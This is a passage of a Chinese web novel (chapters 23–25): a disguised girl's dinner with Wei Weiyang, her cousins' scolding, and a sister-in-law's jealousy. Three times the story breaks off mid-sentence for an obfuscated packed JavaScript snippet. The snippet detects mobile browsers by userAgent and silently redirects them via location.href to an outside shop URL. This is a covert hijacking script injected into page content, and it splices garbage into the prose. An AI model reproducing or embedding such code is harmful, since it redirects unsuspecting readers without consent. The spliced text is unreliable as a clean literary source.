花涛和卫维扬本已吃完饭要走，可是既遇到了，花涛当然得送妹妹们回去。于是三言两语间，他们便也坐下。青梅和碧桃又重新上了菜，并添了碗筷，五人就一起吃起来。 卫维扬和花瑶比较熟悉，与宝屏也算见过，只有银荷是初识。他见了银荷打扮，有些好笑。而卫维扬是个直爽的人，并不拘泥刻板，便问：“你们几位姑娘经常这样出来玩？” “今日还是头一回。”银荷不自在地看看花涛。 花涛忙说：“我不会告诉人，不过你们以后还是小心些。” 卫维扬笑道：“我家里妹妹也是贪玩，下次我找不见她，说不定就是变成弟弟了。” 说笑一阵，几人都渐渐放松，不过卫维扬和银荷是最不拘谨的两个。 卫维扬谦逊知礼，当着诸位姑娘，本来不会一味夸赞某个。但其实一见银荷，他就在心中暗叹，果然是别样山川，别样人物，不由就想要多了解她一些。这个意愿却带进了言语中，不知不觉，其他人都静默下来，只听他们说话。 卫维扬问银荷：“矴州很美吧，曲姑娘一定觉得京城多有不及。” “卫公子怎知我从矴州来？”银荷奇怪道。 “我久仰令祖父与令尊之名了。” “矴州确实是个很美的地方，有许多山。”银荷动情地说，说完，微感窘迫，又补充道，“不过，京城我也很喜欢，这里有……许多人，很好的人。” 卫维扬听懂了赞扬，愉快地笑了，又问起矴州的风物人情。其他人提到矴州，虽不至于轻视，话语中多少为她一直在那儿生活而觉惋惜。卫维扬却心向往之，认定那里山明水秀、物华天宝。银荷一生中最快乐的一段便是在矴州度过，见他感兴趣，一时忘形，兴致勃勃地说了许多。 卫维扬听得认真，间或插几句话。他风采翩翩，态度和煦，银荷总觉得不是与他头回见面，好似已熟识多年一般。 “矴州山多，所以那里的云特别好看。”银荷说，“能让人看整整一天也不厌烦。以前我家门口那条路就叫云扉巷。” “‘白云扉晚开’的云扉？” “正是。”银荷有些惊讶，他怎的一下便知道是这个“扉”，而不是“飞”字。 “如此别致名字，该是怎样的灵秀之地，真要去看看。” 银荷听说过云扉巷来历：那时由心还是稚童，有天和祖父曲慕在池边掷石子玩。曲慕念道：“投石问绿水，燕影几时回？”小由心看看映着天光云影的池塘，指着水面上漂浮的落叶，接了一句：“柳带系不住，浅舟向云扉。”曲慕听了非常喜欢，就让人把路名改作云扉巷。 矴州是因姐姐才更美啊。银荷心中一阵痛楚。 卫维扬见她神色变化，怕是勾起了她对故土的思恋，正要想几句话开解，无意中向周围望去，看见了墙上那幅大家之作，猛然间记起一事来：两月前他嫂子操持的那场诗画会，他虽最后并不十分违心地评了任姑娘为最佳，但当时看得最久的却是一个未留名之人的作品。 纸上一笔好字，一看便是临这位名家练出来的。这字体习者甚众，而真能得其风骨的极少见，想到对方竟是位年轻姑娘，他当时大为钦佩。待念了诗后，向慕之心更增，却无端感到怅然若失，想了一会儿没明白惆怅所为何来，他便再拿起画看。 不似书法，她的画技尚还浅稚，难得在带些天真野趣。画的是荷花，虽只有两株，却如野花般，有种蓬勃怒放肆意生长之感。而她的诗作却沉静哀婉，又似了悟。 论理诗画相通，初看那诗和画绝猜不出是一人所作。但他目光在两张纸上流连良久，却越发觉得于矛盾之中可见融洽——恣而不狂，哀而不伤，画中有孤寂，诗中有热情，浑然一体，相辅相成，正如铜镜的正反面一样不可分割。 说到底哪个人不是多层多面的，但他之前从未见过有人把不同的两面展现得如此微妙，既表露无遗，又隐晦莫测。他猜想着这到底是怎样一位姑娘，难得地生了想要见见这个人的冲动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16973401|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过，人家既没有署名，他认为不宜专门寻究。这时，他心念一动：嫂子好像提过花家的表姑娘，那么作者正该就是这位曲姑娘。——半分不错，隽逸自然、飞扬无邪，静谧与灵动，在她身上协调一致，合二为一。 如久觅之下终得知音，卫维扬既惊且喜：“前两月我嫂子在家设会，姑娘也去了吧，姑娘诗作得好，为何不肯留名呢？” 银荷连连摇头：“那天身体有些不适，没打招呼就走了，实在很失礼。并不曾作诗，原也不会。”她说的是实话，因那诗是由心所作。卫维扬却以为她不愿作品外传，故不承认，便不再追问，想要岔开话去。 可是银荷为了显得坦荡，又因为当日误会卫维扬心怀歉疚，再加上也实在是好奇，倒愈要多谈谈不可。她问：“卫公子家里的活动真是高雅有趣，不知上次是谁最终夺魁？” “是任家的姑娘。姑娘认得吗？” “果真是她！”银荷喜道，“我和任姑娘说了几句话，一直记得。她画的是什么，卫公子可方便透露？” “任姑娘抽到的题目是‘鸟宿池边树，僧敲月下门。’” “啊，这可不好作——我画不出来。” “家妹为了好玩，给家嫂出主意，拿几本书随意去翻，凑了些题目，让姑娘见笑了。” “不是，我也觉得好玩。让我想想——”银荷举手比划着，“推是这样，而敲是这般，这二字就是在画上也得费些斟酌。——真是不好画，任姑娘可是画的我这个样子？”她微垂首半敛目，左手立于胸前，右手虚虚一握，举在头边，做出个要叩门的姿势。 卫维扬仔细看看，不禁笑道：“你这僧人的姿态学得真像，不过确实不大好画。其实任姑娘没画动作，僧人是背朝画外，立于门前。” 银荷愣了半晌，恍然大悟道：“到底是任姑娘，这下我真明白这首诗了——不光是声音，推门何尝没有声音，只是‘吱呀’一声远不如叩门的声响好听，先前我总以为，为这个缘故才用‘敲’字。 “其实还有一层——推门便是进去了，而敲门还需等待，不知后面会是什么。妙就妙在这个悬而未决。读诗的人好像也一同屏气等着。不止，天地间一切莫不如此——原本它们永远在动，而这一时，万物全都在静候。 “任姑娘真正懂诗懂画，才好捕捉到这一瞬。这正是以动写静、静中寓动之法。诗与画所以美，意义之一便在此——于亘古流动中撷一片，既是刹那，又是永恒。” 银荷大发一通议论，回过神来，发觉卫维扬用奇异的目光注视着自己，其余三人也都放下碗筷，只看着她。 她窘道：“我班门弄斧，胡说一气，你们别笑话。” “不不，”卫维扬说，“姑娘解得绝妙，我才是受教了。” 银荷脸更红，为自己的夸夸其谈不好意思，低头吃起饭来。她与卫维扬聊得高兴，还没怎么动筷子。卫维扬发觉，也感歉然，不再引她说话。 一时各人用完，花涛便赶着去会账，不一会儿进来纳罕道：“无论如何都不收钱，你们怎么和这儿老板攀上的交情，我们也跟着沾光了。” “今天刚认识。”银荷答。恰巧这时青梅碧桃端了茶来，银荷向她们笑道：“你们饭钱都不收，以后可真不敢再来了。” “过几天河鲜上了，可一定要来啊。”碧桃说。 “今日委屈诸位，未能尽兴，务请下次再来。”青梅道。她二人伺候姑娘们妆束停当，送至楼下。 卫维扬本想和花涛一道陪几位姑娘回府，想了想终是不大合适，几人遂在酒楼门口作别。卫维扬踌躇片刻，又向银荷转来，问道：“今日和曲姑娘一见如故，可否请姑娘赐告芳名。” 银荷微微顿了下：“我叫曲由心。由心而发的由心。” “曲由心。”卫维扬轻轻念道，心中蓦然一亮。他原在忖度什么样名字方配这个人：竟是如此简单而又如何想得！其形好看，其音好听，其义——“这名字妙极。曲姑娘定能所愿皆偿，诸事由心。” 泪水涌上银荷眼眶，她拼命忍住，可是要如何才能咽下哽在喉咙的那句话。她向卫维扬一笑，转身上了马车。 卫维扬见她笑若春花，但不知为何眼中似有泪意，只觉心好象被轻轻揪了一下，想要问个究竟，却又无从开口，一时呆怔在原地。许久他方回过神来，翻身上马，心中涌动着还不及说出的万千话语。 23. 训斥 回去路上，与来时的兴奋大不相同，三人不约而同地沉默着，耳内只听到车轮声响。 平日里，银荷也常忆起由心，忧伤难过。但不知为何，今天的悲伤似乎无法排遣。她浸在自己的一团伤心之中，也就没有留意到花瑶的异样。 花瑶今日见到卫维扬，本该是意外之喜，可是…… 话要从头说起：花瑶生性腼腆，容易害羞，在人前总是沉默寡言，但这样的人往往心思格外敏感，从未与人道明的心事也往往酝酿得格外热烈。 花瑶并不认识许多外姓男子，可自从识得卫维扬，又何需再与谁人结识？她情窦初开，便将满腔心意寄托在“卫大哥”身上。 虽说从未得过对方表示青睐的一言半语，但花瑶能察觉出，卫维扬对她比对别家姑娘更偏爱些。虽然自觉配不上卫大哥，但哪能控制得住自己，只能任情丝荡漾，心里冷一阵，热一阵，总归是存了一线缥缈的希望。 直到今天，那根细线彻底断了。 卫维扬见到她，是照常的笑容可亲。现在，花瑶全明白了，那笑不是给喜爱的姑娘，是给朋友的妹妹。 卫维扬的每一个动作表情，每一种语气，她都曾在心中揣摩过数遍，如何能不知，卫大哥看谁最多都是亲切，唯独注视由心表姐的眼神，分明又是另一样。 想起他和表姐聊天的情景，花瑶一颗心咚地坠入了冰湖。她最大的心愿就是可以和卫维扬那般畅谈，为此暗自存了好些话，可是每回见到他，却又一个字都说不出来。 她想：“可不是，由心表姐长得美，心地也好，落落大方，她笑起来多么开朗、好看，谁见了能不喜欢呢？不知她是否喜欢卫大哥——当然会的，以前她对卫大哥有误解，不是一下子全解开了吗。他们两个方是才貌般配，志趣相投。我真想能一直听他们说话——将来他们成了亲，我再见卫大哥，该叫他一声表姐夫，那时他再对我笑，也不过是看在我是他妻子表妹的份上。” 想到此，花瑶恨不得插翅飞回家里，关上房门，痛痛快快哭一场，而此刻，这唯一的安慰也得不着。她缩在角落一语不发，用全身力气去止住泪水、止住嘴唇的颤抖。 三个人在车内心事沉沉，忽听外面花涛喊一声：“糟糕！” 几人忙凑到窗边问怎么回事。 花涛说：“到家了，好像是大哥、二哥、三哥在门口站着。我原想着走小门碰不着人，怎么他们都在。” 一听这话，花瑶先就吓得六神无主，宝屏跟着她一起害怕，银荷虽不惧那三个人，但知道偷偷外出之事叫家里听见，花瑶免不了要被父母训斥，而蝉影等人更不知还要受什么责罚，也着了慌。 还是花涛当机立断：“等会儿三妹和屏表妹下来，我就说带你们两个出门走走。由心表妹等车子进去了再悄悄下来吧。” 几人答应了，这便近了门前。果然花沛、花潜、花澈三人在那儿立着。 花涛跳下马，花沛上前笑道：“四弟、婶娘出门转转？” 假若真是三太太在车里，也不能一声不吭，糊弄不过去，花涛向花沛笑着，答说：“大哥，我娘在家呢。我看今日天好，请三妹、表妹去街上逛逛。” 说着，花瑶和宝屏互相扶着跳下车。 花沛见了惊讶，但也没说什么，冲她们点点头，二人如蒙大赦，赶紧钻进门去。 车夫想赶车进车房，可巧，花澈正好站在路当中，堵住了车子。车夫哪敢要他让路，只好先等着。 这边，花涛便问几位兄长准备去哪儿。花沛说：“我们刚从秦世伯家回来，在这儿站一会儿。大伯父说前日见了秦世伯，要咱们去拜望拜望。” 花涛忙道：“是我不知，秦世伯可有怪罪？” “不要紧，改日你再去罢。”花沛说。 花潜在旁笑道：“差一点儿我们也不去了。秦世伯明明是想见你和老三，让人喊你，你偏不在家，好说歹说拉上了老三，才交代过去。” 花澈高声道：“还有个人呢，怎么不下来？” 银荷见车子不动，又听他们说话闲聊，本来着急，这时花澈一开口，车外顿时鸦雀无声。银荷在心里骂花澈多管闲事卑鄙龌龊讨厌鬼，却也无法，只得挨挨蹭蹭下了车。 便见花沛沉着脸，花潜面带惊诧，那专爱挑事的祸首则一副笑嘻嘻的得意样。 花涛给银荷递了一个抚慰的眼神，刚要张口，银荷赶紧抢在前头，对花沛说：“是我想要出去玩，才撺掇了两位妹妹。本来以为无事，没想到还是被四表哥碰到了。四表哥刚才很生气，已经说了我，我怕再被骂，求四表哥帮我瞒着，也没敢下车。”说完，银荷低下头。 花沛看她一身小厮装扮从车里出来，先是震惊，接着便不知从何而来一股火气。不过，当然不能对表妹发火。花沛突然没了词。 他满脸阴沉，一声不吭，像是气狠了的模样，花涛赶紧说：“今日之事表妹有错，不过，表妹既已知错，又未出什么事，我替表妹求个情，大节下的，就免了责罚，大家高兴岂不更好？” 花沛这才明白自己生气的根源，表妹和四弟融洽默契，见了他却害怕，难道他就不近人情？ 花澈在一旁笑道：“没事就好，哪有责罚。不过，一个两个眼睛都红红的，你们在外面受谁气了？”说着仔细瞅着银荷。 他倒好意思来问？就是气他！ 好像是自上次马场之后，花澈变规矩了许多，虽见面时还稍嫌亲热过余，但三五日才碰上一回，也就算了。还以为他痛改了，敢情他作弄人的劲头还没完全过去呀。 “痛改”当然是根本没有，他能干什么正事，整日去酒楼…… 银荷恨不得说：“没受气，我们是去望望三表嫂。”——看他怎么答？ 只是她想起对宝屏保证过绝不说，又想俞雁姑娘那么美，又能干又和气，花澈哪里配！银荷把话咽了回去，看花澈偏还假惺惺一副关切模样，气得脸都涨红了。 花沛见表妹眼圈果然发红，像是要吓哭了，心下十分不忍，又想表妹被自己兄弟几个盯着问，极是不妥，便说：“表妹先回去吧。”又对花涛说，“四弟你等一下。” 银荷有些担忧地看一眼花涛，慢慢向回走。花澈却跟上去，小声道：“下次妹妹就记得了，想出门玩，找我。” “不敢再有下次。”银荷使劲瞪他一眼，花澈得了个甜果似的，喜滋滋接了，自去听花涛说话。 花涛将事情一五一十告诉了兄长。 “和卫公子一道用饭！”花沛怒气冲冲道，“你既碰到她们，不赶紧带回来，还在外头做什么？饭铺里晓得有些什么人，会不会胡乱讲话？” “并没让闲人看到。我也是瞧着那里妥当，三妹她们又还未用饭，想着等她们吃完也不打紧。”花涛小心解释。“全怪我，大哥教训得是，以后我定谨慎。这次，是不是不必告诉老爷太太，——宝屏表妹也不常来，要是让她家太太知道了，怕又要怪罪。” “这不就是说！两个是你自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16982245|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹，一个是客人，你让她们和别家公子坐一处吃饭，成什么体统？她们不晓事，你也跟着掺和。——那个卫维扬，他自己还不知会怎么想？” 花涛不由辩解：“卫大哥不是拘泥这些的人，他也断不会往外说的。再说，卫大哥不算外人，他和我父亲……”说着看到花沛瞪着他，面沉如铁，便不敢再说下去。 花潜亦帮着劝说。花澈也道：“什么大不得的，外头谁敢议论，我去找他。我再和管事说一声，下回妹妹们上街，派几个人跟着。老爷太太就不必知道了，回头有事情，都算在我头上。” 四兄弟当中，花潜和花澈年龄只差数月，他二人又比花涛长两岁，花沛则比花涛长七、八岁，是当之无愧的大哥。按说，由古至今，都是做弟弟的听哥哥的，但花沛对这三位弟弟却极和气，从来不摆兄长架子。 从花沛本人讲，他一向奉行兄友弟恭，当作表率，心念手足情深，堪为楷模。再从与三位兄弟的关系讲：花沛虽年龄居长，但花潜才是花家的长房长孙，将来要继承宗祧，很多时候，花沛心中自认，花潜说话更有份量；花澈，不用说了，最亲的同胞弟弟；而花涛呢—— 花沛幼年时，得过一场重病，险些不治，多亏三老爷寻来一张方子，救活了他。花沛念三叔活命之恩，敬他如父，对三叔的独子花涛，自然也多爱护一重。况现下三老爷不在家中，花沛自觉有责任对花涛更加关照。 刚刚，他忍不住斥责花涛几句，已是从未有过的事情，这便到了极限，再重的话是绝不能讲。然而，花沛一腔怒火还是无处发泄，这时，他便冲花澈斥道：“你又捣什么乱，净胡闹！”说罢，拂袖而去。 “这倒是怎么了，没见过大哥生这么大气。”花潜笑道，说着也走了。 花涛歉意地望向花澈：“累了三哥。” 花澈笑笑：“大哥说两句，什么打紧。” “大哥不会对老爷太太说吧。” “不会。” “那，三妹会不会着急，我让人给她说声？” “行啊，别忘了给表妹也说声。”花澈拍拍花涛肩膀，消消闲闲走开。 银荷回到屋子时，只有小朝在那儿。宝屏本是和花瑶住在一处，刚才，她们过来叫走了蝉影，一并都回去了。小朝吓得瑟瑟发抖：“姑娘别让他们撵了我出去。打我几顿都行，我受得了。” 银荷吃了一惊：“为何打你，谁说的？” “我看蝉影姐姐都害怕了。” 银荷宽慰小朝，心中却也是惴惴，恐怕蝉影受过。 刚换好衣服，宝屏的丫环丁香急急跑来报信：“没事了，刚才四公子叫人来说，大公子只说下不为例，这回就算了，要我们别慌，急着去太太跟前认了错。” 银荷方才放下心，又问花瑶，丁香说：“瑶姑娘累了歇下了，明日再来找姑娘。”说完，又匆匆而去。 这半个下午，银荷便独自坐在屋里发呆。 晚饭罢没多久，一个小丫环过来说：“大爷请表姑娘去一趟。” 小朝立马吓白了脸，紧张地问：“有没有叫三姑娘？” 那丫头摇摇头：“我不知道，大爷只要我来请表姑娘。大爷还说要是表姑娘不方便就算了。” 银荷并不很诧异，毕竟她是“主犯”。瑷宁不在家，花沛这样着急，想来还是这场玩闹闹得太过。 最好是自己全担下。银荷口里说“方便”，看小朝等人都怕得厉害，便不要她们陪同，一人跟着那丫环去了。 24. 吵嘴 银荷跟着小丫环，一径到了花沛书房。花沛似乎正等得不耐烦，来回踱着步，也没注意到有人进来。 “大表哥。”银荷招呼一声。花沛猛然转过身，惊异地望着她，仿佛不明白她为何会来。随即，他发觉那个领路的丫环正要退下，便严厉地说：“你在这里等着。” 接着他又转向银荷，微微叹口气：“表妹请坐吧。” 银荷看到他手指墙边一把椅子，低头坐了。 花沛立刻又说：“表妹今日受了委屈，我向你道歉。” 银荷没料到他这么说，惊讶地抬起头，又想花沛其实一向宽厚，不觉更加惭愧，忙起身答：“是我要请大表哥原谅，原是我做错了。大表哥向我指出来，我不会觉得委屈。” “表妹坐下吧，我还有两句话。”停了片刻，花沛开口道，“我不是想责怪你们，我是担心，瑶儿她不懂事，宝屏表妹是客人，我担心——你在这里，虽然有姐妹们相伴，毕竟不比她们有父母亲人。本来也不该我说这些，不过……望你能把我当作大哥，有什么为难之处，尽管告诉我便是。” 银荷又是内疚又是感动：“我知道表哥和嫂子一向把我当成自家妹妹，是我不好，总是做错事，害你们挂心。” 花沛勉强露出一点笑。不是自家妹妹，不完全是。他在心里非常鄙视自己。 表妹太天真了，怎么可能猜到他的念头。但她不会永远天真，一旦她心上有了什么人……会是卫维扬？想起那个人，他的心又硬起来。 “既是一家人，其它不用再说了。只是我们总有照看不到的时候，表妹自己也该多留意，慎重些。我知道你们不喜欢受拘束，不过有些事情多少还是得考虑，以免日后酿成大错。像今日就实在太冒失，万一真出了什么事情，不光老太太会难受……”花沛顿住，走到一旁。 银荷垂着头，缄口不语。 她没有父母，无人给她讲男女大防的道理。与由心在一处学习时，曲展作她们的老师，对这些话是提也不提。银荷自己倒是从书上懂得了一些，却不曾真正往心里去。 在矴州时，因为由心身体的缘故，她们很少出门，根本不认识外头的男子。但银荷作为丫环，和府里的大小男仆，自然免不了要打交道，人家看她是个小丫头，有时逗她一逗，没什么恶意，在银荷，与男子说话斗口，便也成了惯常的事。 而来京城后，所遇到的，又大多是出类拔萃、见识广博之人，银荷愿意与他们交谈，更不觉得哪里有不对。 她以为花沛的担忧，主要还是为她们三个无人陪伴出府玩耍，怕遇见歹人，这倒确实不是多虑。她还以为，花沛这番告诫，是怕将来她再顽皮，闹到老太太那里。 所以，花沛说什么，她都听着，心想，过会儿虚心接受，保证以后不再犯就是。 花沛停了片时，再开口前，先瞅站在旁边的丫环，说：“你到门外头去，不许走远。” 又隔了一会儿，花沛才说话：“表妹性子单纯，有些事情想不到那么多。卫公子也算我的旧识了，又与你四表哥常来往，往好处想，我当然希望能相信他的人品，不然若真传出什么话，对他来说没什么，男子风流也没人怪罪，到头来吃亏的还是表妹。” 银荷听明白他话里的意思，不由急了，原本的愧疚也丢开，噌地站起身，辩道：“不怪大表哥看轻我，我也知道自己行事没什么分寸。但今天的事，我们是几个朋友在一处聊天，我确信卫公子没有任何旁的意思。并非我不顾惜名誉，但若真有人无聊到要瞎议论，那也由他们去说好了，反正我们在场之人都可以问心无愧！” 花沛视而不见地看着她，除了那双闪亮的眼睛。他想，表妹激动也好，生气也罢，终归都不是为了他。他走到门边，苦笑道：“我怎会看轻你。表妹既能相信别人，为何不能信我？或许表妹将来能明白我的苦心。” 银荷见花沛语气颇无奈，又有些后悔自己话说得急躁了。她轻声说：“我知道大表哥是好意，以后我不会这样了。” “表妹不会怪我多管了你？” “不会，一点儿都不会。我很感激大表哥关心我。”银荷由衷地说，又加上一句，“偷偷出门是我的主意，和别人无关，请大表哥别责怪瑶妹妹和蝉影。” “好。”花沛点点头，把丫环叫进来，示意她送表妹回去。 之后，他走到她刚才坐过的椅子前，周围好像还留有淡淡的清香味道。花沛坐下，静静坐了良久。 第二天一早，只有宝屏一个来找银荷，说是花瑶不想动弹。 “怎么，是为昨天——不是没事了么，二伯母没知道吧？”银荷悄声问。 宝屏拿不定是要摇头还是点头：“没有。我也说没要紧，劝她半天了。她又说不是为昨个儿。” “那是为什么？” 宝屏犹豫一下说：“没事，她有时候就好闹些脾气，别管她反就好了。” 银荷也知花瑶有时喜欢闷不吭声，连她自己也这样，便不追问。 再过一日，老太太和瑷宁回到家，又是一番忙碌。宫中有不少赏赐之物，瑷宁拿来分了众姐妹，只是没见到花瑶。 “你们肯定闹别扭了吧。”瑷宁拉住银荷宝屏说，“走，先去太太那儿，我给你们开解开解。” 见过二太太，瑷宁问起花瑶，二太太皱眉说：“她说精神不好，不肯出来，屋里待着呢。” “要不要请大夫看看？”瑷宁关切道。 “看过了，没看出毛病。我看她没别的事，就是生的娇气病。”二太太埋怨说。 “可是晚上睡得不好？这个我有办法，我和蝉影说说。” “蝉影回家去了。前日沛儿罚了她一个月月银。” 瑷宁忙说：“可不是缘故在这里，大过年的怎么不奖反罚。” “和这个没干系，后来沛儿又说不罚了，是瑶儿硬要她家里去几天。恐怕原本就是瑶儿淘气闹的。唉，我是管不了她，老爷又管教太严，多亏有你和沛儿。” 瑷宁笑道：“瑶妹妹乖得很，根本不用人操心。我猜准是她们几个姑娘为什么芝麻粒的事情吵闹，声音大了些，对不对？” 银荷和宝屏支支吾吾，瑷宁便以为果真如此， “可别怪了两个曲丫头，就她们最好。”二太太疼爱地拉过银荷二人，“我真想拿瑶儿晚儿换你们两个过来就好了。” 瑷宁见二太太俨然把戚晚当作自家姑娘，心里便不舒服，再说几句就找借口要走。二太太还不肯放银荷宝屏，留她们坐着说话。 瑷宁出了二太太屋子，一转弯，又拐去花瑶那边看看。院里小丫环不知都跑何处去了，瑷宁绕到屋后，也没见着一人，心里生气，道是蝉影不在，其他丫头便不知躲到哪里犯懒，该好好教训几句。 正走过窗下，却听花瑶在屋内发脾气，哭喊着：“你向来是什么都要和我抢，我的母亲你要抢，大哥你也要抢，可是，卫公子你抢不走。你不用来试探我，我都知道——我早知道他心里没有我，但更不会有你！” 瑷宁一震，钉在原地不动。 只听屋内又有人说：“你误会我了，我哪有那个想法，我还不知自己是什么人么，卫公子在天，我在地。再说我连他面都没见过两回，只是因为你敬慕他的才华，我才跟着……” 声音不大，许多字词听不清楚，瑷宁是连听带猜，意思猜得准不准且不管它，反正自认把戚晚假惺惺的腔调补足了十二分。 瑷宁想听听花瑶还会说些什么，又感到无需再听下去，犹豫片刻，摇摇晃晃走了出来。 走过几步，风一吹，她冷静了些。花瑶年纪虽小，心思却澄明，她说戚晚的话必都是真的。 “可是，卫公子你抢不走。” 瑷宁不关心什么卫公子，她在意那个“可是”，在意“可是”前面的话。——这就是说，“母亲”和“大哥”是抢得走了？ 当然，刚才不是在跟前亲耳朵听见的，“母亲”已经抢走一半了。 而做大哥的那个，更不必有疑问。 瑷宁察觉出花沛不对劲已有一段时日，是因他看她的眼神：那里面不全是温情，还有惶惑、羞愧、痛苦。 瑷宁深知，花沛那样的人，会因为无法信守誓言痛苦——不是新婚时甜蜜的誓言，她自己也不信那些，可他们毕竟一起经过了哀伤。 当初她失去了肚里的孩子，是他们唯一有过的孩子，以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995096|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概不会再有了。 她永远记得那时他说过的话。那时，他不是怜悯和仁义，而今，他却是了。 而她，不屑他的怜悯和仁义。尤其是——竟为了戚晚？ 几辈子没见过女人么，一个戚晚？ 夫妻俩素来是单独用晚饭，花沛随意谈些白日里碰到的新鲜事，瑷宁说笑评论，若她也出门逛过，就更有的说了——一顿饭总能吃得热热闹闹。可这一次，花沛比平时沉默许多，连宫中的事情都没有多问几句。 瑷宁见花沛只低头吃自己碗里的饭，懒懒的也不大伸筷子，便给他夹了些菜，又不经意地说道：“这两天三妹妹怎么了，今天听太太说她好像不舒服，还说你罚了蝉影，是为了什么？” 花沛咽下口里的饭，也随意答道：“不过是些小事情，三妹也大了，凡事该有个体统，蝉影还每天纵着她胡闹。我没听见三妹生病，也没责备她，只是说过一句要扣蝉影的月钱，后来也算了。” “到底是过年，姑娘们闹一闹怎么了。老太太都不许老爷管，你又何必多事？” “行了，我以后不管了。三妹怎么样，要不要紧？” “大夫说没什么要紧，不过我另外有担心的。”瑷宁停了一下，又说，“我今天听到她和她表姐吵嘴，好像是说什么抢走了卫公子。我倒不知怎么回事，你可听过？” 瑷宁说“表姐”，是指与花瑶关系最近的姨表姐戚晚，压根没想到花沛可能当成别个。而花沛，因前日的事，生了先入之见，理所当然认为花瑶与之拌嘴的人必是曲家表妹由心。 他啪一声将筷子拍在桌上。“怎样，你都听见了，还是我多管了她，看三妹可有个女孩家的样子？一个闺阁姑娘，整天把什么公子挂在嘴边，传出去不怕人笑话——什么抢不抢的，她不顾廉耻，何必拉扯上表姑娘？” 瑷宁冷冷道：“我看你犯不着说上这些重话，三妹妹还小，她不懂事，总归还有老爷太太，没人要你管教。就是再如何，她也是你亲妹妹，你为了个外人这么说她是大可不必。” 花沛也冷笑：“就因为是亲妹妹才要好好教教她，向来都是太惯着她了，要什么没有？她能小多少，论懂事就比表姑娘差远了。表姑娘才是不容易，一个‘外人’在咱们家，可诉过一句苦？况且这回还是表姑娘替三妹说话，让我别责怪了她。” “这种大方话谁不会说？”瑷宁讽道，“你也别急着替表姑娘不平，不是没人疼她。我看倒是咱家里正经姑娘反受欺负，面薄心软，哪里抢得过人家。” 花沛气得脸色发白，强捺了半晌，方说：“以后还是你多教导着三妹吧。那卫维扬是什么人物，至于一个两个的都要争？过两年老爷自会给瑶儿挑一门好亲事。我还有些事情，你早些歇息，不必等我了。”说着他便起身向外走去。 瑷宁拧着手坐在那里，看着一桌残羹冷炙，心也凉了。以前也有小争吵，但花沛从来不曾这样对她摆过脸色，不仅如此——她难道不清楚，平素花沛是如何对花瑶的？可现下就连这唯一一个亲妹妹，也都要靠边了。 还是小瞧了戚晚呀，瑷宁心头恨道。 本来，从宫里回来时，她已经想通了，如果花沛想要孩子，让他有一个就是。但戚晚绝对不行！ 最讨厌就是戚晚的柔媚，恐怕男人都吃这套吧。可不嘛，她那好姨母就是例子。现在瑷宁连二太太也恨上了：自己已经做了正太太，儿女都有了，尚嫌不够，居然还弄个外甥女来，想笼络谁？ 戚晚又不是贫寒孤女过不下去，以她的品貌，嫁进门当户对的殷实人家做大娘子一点儿都不难，何必巴巴跑来花家装可怜，自命是那卑微坚韧的蒲草？ 两相比较，甚至郭诗钰都可爱了许多，哪怕她是大太太的亲侄女，也有办法把她拉到自己一边。而戚晚——瑷宁想起她那低眉垂目、娇娇怯怯的模样，她是如何缓缓落下眼皮，如何让人瞧不清她唇边是不是有浅浅梨涡一现——反正哪个地方肯定藏了得意之色，她恐怕是条美人蛇啊。 不过总会露出真面目的。“咱们就来瞧瞧，你看重、袒护，以为比你亲妹子‘懂事’的到底是个什么人。”瑷宁在心里对花沛说，拿起一双玉箸，又慢条斯理吃起来。 25. 灯节 因宝屏元宵一过就要回家去，花瑶舍不得她，外加小姑娘的心绪，本来是三日雨两日晴，没两天，花瑶的“毛病”全好了，仍旧和宝屏银荷三人一处玩着。 转眼到了元宵当日。老太太特意在中午设家宴，又说：“咱们自家人天天都见，不必拘泥，非得年节里凑在一处瞪眼。今晚外头有灯，小孩子出门玩玩倒好。”于是，宴后，将孙辈们召集在身边。谁料问了一圈，却无人要去玩。 瑷宁推说头疼，花沛喜静怕吵，不愿往人多地方去；映雪刚有了身子，不敢出门受挤，花潜自然也不去；花澈只说另有事情；花涛因父亲不在家，要陪着母亲，老太太也知道，没有多罗唣他。 花瑛和嫂子映雪最亲近，姐妹间倒罢了，见哥哥嫂子不去，便有些意兴阑珊；花瑶本是很想去的——倘若没有几日前的事，而现在她觉得出门看灯有何意趣，宁可在家待着；银荷也不愿去，这种时候她总是特别容易想起由心，看到热热闹闹的景象更觉难受；其他几位表姑娘亦都客气表示懒怠出门，怕挤。 只有花溯花洄两个兴致勃勃，老太太怕他们乱跑拉不住，偏不许他们去。 老太太奇道：“如今你们小孩子都不爱瞧热闹了，难得能好好玩一次，怎还不愿意？” 